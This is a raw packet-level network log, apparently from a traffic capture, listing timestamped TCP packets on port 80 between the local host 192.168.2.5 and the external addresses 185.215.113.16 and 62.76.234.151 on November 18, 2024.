Nov 18, 2024 19:04:21.438635111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.438869953 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.438914061 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.438927889 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.439280987 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.439296007 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.439311028 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.439466000 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.439743042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.439907074 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.440304041 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.453512907 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.453545094 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.453624010 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.480274916 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.480320930 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.480523109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.481101036 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.481168032 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.481213093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.481262922 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.481276989 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.481295109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.481323004 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.481323004 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.481344938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.481374979 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.481827974 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.481842041 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.481858015 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.481894016 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.481894016 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.481920958 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.482151985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.482219934 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.482387066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.482491970 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.503007889 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.503046989 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.503132105 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.509951115 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.510313034 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.510423899 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.516518116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.516841888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.516907930 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.522828102 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.522880077 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.523073912 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.558841944 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.558887959 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.558943033 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.558978081 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.559011936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.559032917 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.559032917 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.559050083 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.559062958 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.559062958 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.559154987 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.559160948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.559212923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.559248924 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.559257984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.559257984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.559319019 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.559720039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.559735060 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.559748888 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.559783936 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.559783936 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.589503050 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.589840889 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.589855909 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.589876890 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.589929104 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.590018988 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.600315094 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.600331068 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.600346088 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.600397110 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.600397110 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.601530075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.601542950 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.601567984 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.601583958 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.601598978 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.601603985 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.601603985 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.601615906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.601627111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.601639032 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.601663113 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.601960897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.601986885 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.602000952 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.602025032 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.602025032 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.602037907 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.602315903 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.602360964 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.602375031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.602438927 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.602438927 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.643049955 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.643109083 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.644067049 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.648349047 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.648541927 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.648586035 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.648586035 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.657798052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.658246040 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.658298969 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.665026903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.665056944 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.665113926 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.665903091 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.666121960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.666172981 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.679239035 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.679289103 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.679338932 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.679354906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.679383039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.679387093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.679394007 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.679397106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.679413080 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.679450035 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.679728031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.679743052 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.679759026 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.679801941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.679801941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.679982901 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.680143118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.680592060 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.680964947 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.720700026 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.720717907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.720733881 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.720757961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.720782042 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.721652985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.721667051 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.721683025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.721703053 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.721762896 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.721791029 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.721807003 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.721822023 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.721848011 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.721910954 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.722111940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.722137928 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.722151995 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.722202063 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.722202063 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.722688913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.722703934 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.722718000 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.722755909 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.722755909 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.730918884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.730974913 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.731463909 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.783308029 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.783339977 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.783356905 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.783418894 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.799351931 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.799384117 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.799401045 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.799484015 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.799484015 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.799494028 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.799513102 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.799529076 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.799549103 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.799561977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.799567938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.799586058 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.799612045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.799612045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.799740076 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.799757957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.799798012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.799798012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.799988031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.800003052 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.800019026 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.800060034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.800075054 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.801959038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.802262068 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.802331924 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.805394888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.805967093 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.806032896 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.879892111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.879913092 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.879928112 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.879942894 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.880007982 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.880023003 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.880031109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.880038977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.880055904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.880100012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.880100012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.880702019 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.880717039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.880733013 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.880748987 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.880764008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.880961895 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.881129980 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.881145000 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.881160975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.881176949 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.881213903 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.881213903 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.894979954 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.894995928 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.895010948 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.895077944 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.919496059 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.919533968 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.919574022 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.919624090 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.919701099 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.920150995 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.920164108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.920180082 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.920196056 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.920211077 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.920243025 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.920243025 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.920309067 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.920483112 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.920593977 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.920687914 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.920702934 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.920778036 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.921179056 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.921324968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.929495096 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.929580927 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.929656982 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.929671049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.929686069 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.929728985 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.935689926 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.935703039 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.935760021 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.936657906 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.936696053 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.936712027 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.946400881 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.946418047 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.946477890 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.961134911 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.961253881 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.961306095 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.961322069 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.961363077 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.961364031 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.000380993 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.000432968 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.000473976 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.000488043 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.000488043 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.000519037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.001389027 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.001468897 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.001527071 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.001560926 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.001600027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.001600027 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.001600027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.001636028 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.001660109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.001679897 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.001688004 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.001722097 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.001738071 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.001823902 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.002007961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.002027035 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.002070904 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.002110004 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.002177000 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.002192020 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.002207994 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.002233028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.002233028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.002260923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.014061928 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.014425039 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.014456034 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.014477968 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.014617920 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.014692068 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.040401936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.040419102 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.040436029 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.040451050 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.040457010 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.040481091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.040518045 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.040539980 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.040623903 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.040728092 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.040743113 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.040760040 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.040776014 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.040802002 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.040802002 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.040824890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.040848970 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.041359901 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.041688919 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.042483091 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.042562008 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.077647924 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.077666998 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.077682018 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.077728987 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.080902100 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.080918074 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.080934048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:22.080960989 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.081007957 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:22.082019091 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.082072973 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.082175016 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.095241070 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:22.095307112 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:22.096043110 CET	80	49979	62.76.234.151	192.168.2.5
